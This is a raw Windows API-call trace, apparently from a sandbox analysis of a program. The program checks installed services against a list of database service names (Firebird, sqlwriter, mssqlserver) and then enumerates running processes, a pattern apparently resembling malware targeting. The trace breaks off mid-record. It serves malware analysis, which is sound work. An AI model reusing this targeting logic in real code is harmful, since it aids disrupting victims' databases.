[0285.839] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0285.839] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0285.839] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0285.839] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0285.839] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0285.839] lstrlenW (lpString="iphlpsvc") returned 8 [0285.839] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0285.839] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0285.839] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0285.839] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0285.839] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0285.839] lstrlenW (lpString="KeyIso") returned 6 [0285.839] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0285.839] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0285.840] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0285.840] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0285.840] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0285.840] lstrlenW (lpString="LanmanServer") returned 12 [0285.840] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0285.840] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0285.840] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0285.840] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0285.840] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0285.840] lstrlenW (lpString="LanmanWorkstation") returned 17 [0285.840] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0285.840] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0285.840] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0285.840] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0285.840] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0285.840] lstrlenW (lpString="lfsvc") returned 5 [0285.840] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0285.840] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0285.840] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0285.840] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0285.840] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0285.840] lstrlenW (lpString="lmhosts") returned 7 [0285.840] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0285.840] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0285.840] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0285.840] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0285.840] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0285.840] lstrlenW (lpString="LSM") returned 3 [0285.840] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0285.841] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0285.841] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0285.841] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0285.841] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0285.841] lstrlenW (lpString="MpsSvc") returned 6 [0285.841] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0285.841] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0285.841] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0285.841] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0285.841] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0285.841] lstrlenW (lpString="NcbService") returned 10 [0285.841] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0285.841] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0285.841] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0285.841] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0285.841] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0285.841] lstrlenW (lpString="netprofm") returned 8 [0285.841] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0285.841] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0285.841] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0285.841] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0285.841] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0285.841] lstrlenW (lpString="NgcSvc") returned 6 [0285.841] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0285.841] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0285.841] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0285.841] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0285.841] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0285.841] lstrlenW (lpString="NlaSvc") returned 6 [0285.841] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0285.842] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0285.842] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0285.842] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0285.842] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0285.842] lstrlenW (lpString="nsi") returned 3 [0285.842] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0285.842] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0285.842] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0285.842] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0285.842] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0285.842] lstrlenW (lpString="PcaSvc") returned 6 [0285.842] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0285.842] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0285.842] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0285.842] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0285.842] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0285.842] lstrlenW (lpString="PlugPlay") returned 8 [0285.842] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0285.842] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0285.842] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0285.842] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0285.842] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0285.842] lstrlenW (lpString="Power") returned 5 [0285.842] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0285.842] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0285.842] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0285.842] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0285.842] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0285.842] lstrlenW (lpString="ProfSvc") returned 7 [0285.843] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0285.843] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0285.843] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0285.843] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0285.843] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0285.843] lstrlenW (lpString="RpcEptMapper") returned 12 [0285.843] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0285.843] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0285.843] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0285.843] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0285.843] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0285.843] lstrlenW (lpString="RpcSs") returned 5 [0285.843] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0285.843] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0285.843] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0285.843] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0285.843] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0285.843] lstrlenW (lpString="SamSs") returned 5 [0285.843] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0285.843] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0285.843] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0285.843] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0285.843] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0285.843] lstrlenW (lpString="Schedule") returned 8 [0285.843] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0285.843] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0285.843] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0285.843] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0285.843] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0285.844] lstrlenW (lpString="SecurityHealthService") returned 21 [0285.844] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0285.844] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0285.844] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0285.844] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0285.844] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0285.844] lstrlenW (lpString="SENS") returned 4 [0285.844] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0285.844] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0285.844] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0285.844] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0285.844] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0285.844] lstrlenW (lpString="ShellHWDetection") returned 16 [0285.844] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0285.844] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0285.844] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0285.844] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0285.844] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0285.844] lstrlenW (lpString="Spooler") returned 7 [0285.844] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0285.844] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0285.844] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0285.844] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0285.844] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0285.844] lstrlenW (lpString="SSDPSRV") returned 7 [0285.844] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0285.844] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0285.844] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0285.845] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0285.845] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0285.845] lstrlenW (lpString="StateRepository") returned 15 [0285.845] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0285.845] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0285.845] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0285.845] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0285.845] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0285.845] lstrlenW (lpString="SysMain") returned 7 [0285.845] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0285.845] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0285.845] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0285.845] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0285.845] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0285.845] lstrlenW (lpString="SystemEventsBroker") returned 18 [0285.845] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0286.084] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0286.084] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0286.084] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0286.084] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3faf028 | out: hHeap=0x630000) returned 1 [0286.084] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1088 [0286.088] Process32FirstW (in: hSnapshot=0x1088, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0286.089] Process32NextW (in: hSnapshot=0x1088, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6a, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0286.090] lstrlenW (lpString="System") returned 6 [0286.090] Process32NextW (in: hSnapshot=0x1088, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0286.090] lstrlenW (lpString="smss.exe") returned 8 [0286.090] Process32NextW (in: hSnapshot=0x1088, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0286.091] lstrlenW (lpString="csrss.exe") returned 9 [0286.091] Process32NextW (in: hSnapshot=0x1088, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0286.092] lstrlenW (lpString="wininit.exe") returned 11 [0286.092] Process32NextW (in: hSnapshot=0x1088, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0286.092] lstrlenW (lpString="csrss.exe") returned 9 [0286.092] Process32NextW (in: hSnapshot=0x1088, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0286.093] lstrlenW (lpString="winlogon.exe") returned 12 [0286.093] Process32NextW (in: hSnapshot=0x1088, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0286.094] lstrlenW (lpString="services.exe") returned 12 [0286.094] Process32NextW (in: hSnapshot=0x1088, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0286.094] lstrlenW (lpString="lsass.exe") returned 9 [0286.094] Process32NextW (in: hSnapshot=0x1088, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0286.095] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0286.095] Process32NextW (in: hSnapshot=0x1088, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0286.096] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0286.096] Process32NextW (in: hSnapshot=0x1088, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0286.097] lstrlenW (lpString="svchost.exe") returned 11 [0286.097] Process32NextW (in: hSnapshot=0x1088, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0286.097] lstrlenW (lpString="svchost.exe") returned 11 [0286.097] Process32NextW (in: hSnapshot=0x1088, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0286.098] lstrlenW (lpString="dwm.exe") returned 7 [0286.098] Process32NextW (in: hSnapshot=0x1088, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4d, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0286.099] lstrlenW (lpString="svchost.exe") returned 11 [0286.099] Process32NextW (in: hSnapshot=0x1088, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0286.099] lstrlenW (lpString="svchost.exe") returned 11 [0286.100] Process32NextW (in: hSnapshot=0x1088, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0286.100] lstrlenW (lpString="svchost.exe") returned 11 [0286.100] Process32NextW (in: hSnapshot=0x1088, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0286.101] lstrlenW (lpString="svchost.exe") returned 11 [0286.101] Process32NextW (in: hSnapshot=0x1088, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x39c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0286.102] lstrlenW (lpString="svchost.exe") returned 11 [0286.102] Process32NextW (in: hSnapshot=0x1088, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0286.102] lstrlenW (lpString="svchost.exe") returned 11 [0286.102] Process32NextW (in: hSnapshot=0x1088, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0286.103] lstrlenW (lpString="svchost.exe") returned 11 [0286.103] Process32NextW (in: hSnapshot=0x1088, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0286.104] lstrlenW (lpString="svchost.exe") returned 11 [0286.104] Process32NextW (in: hSnapshot=0x1088, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0286.104] lstrlenW (lpString="svchost.exe") returned 11 [0286.104] Process32NextW (in: hSnapshot=0x1088, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0286.105] lstrlenW (lpString="svchost.exe") returned 11 [0286.105] Process32NextW (in: hSnapshot=0x1088, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0286.106] lstrlenW (lpString="spoolsv.exe") returned 11 [0286.106] Process32NextW (in: hSnapshot=0x1088, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0286.107] lstrlenW (lpString="svchost.exe") returned 11 [0286.107] Process32NextW (in: hSnapshot=0x1088, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x698, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x4bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0286.108] lstrlenW (lpString="audiodg.exe") returned 11 [0286.108] Process32NextW (in: hSnapshot=0x1088, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0286.109] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0286.109] Process32NextW (in: hSnapshot=0x1088, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x76c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0286.109] lstrlenW (lpString="Memory Compression") returned 18 [0286.110] Process32NextW (in: hSnapshot=0x1088, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0286.110] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0286.110] Process32NextW (in: hSnapshot=0x1088, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0286.111] lstrlenW (lpString="sihost.exe") returned 10 [0286.111] Process32NextW (in: hSnapshot=0x1088, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0286.112] lstrlenW (lpString="svchost.exe") returned 11 [0286.112] Process32NextW (in: hSnapshot=0x1088, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0286.113] lstrlenW (lpString="taskhostw.exe") returned 13 [0286.113] Process32NextW (in: hSnapshot=0x1088, lppe=0x8cffd2c | out: 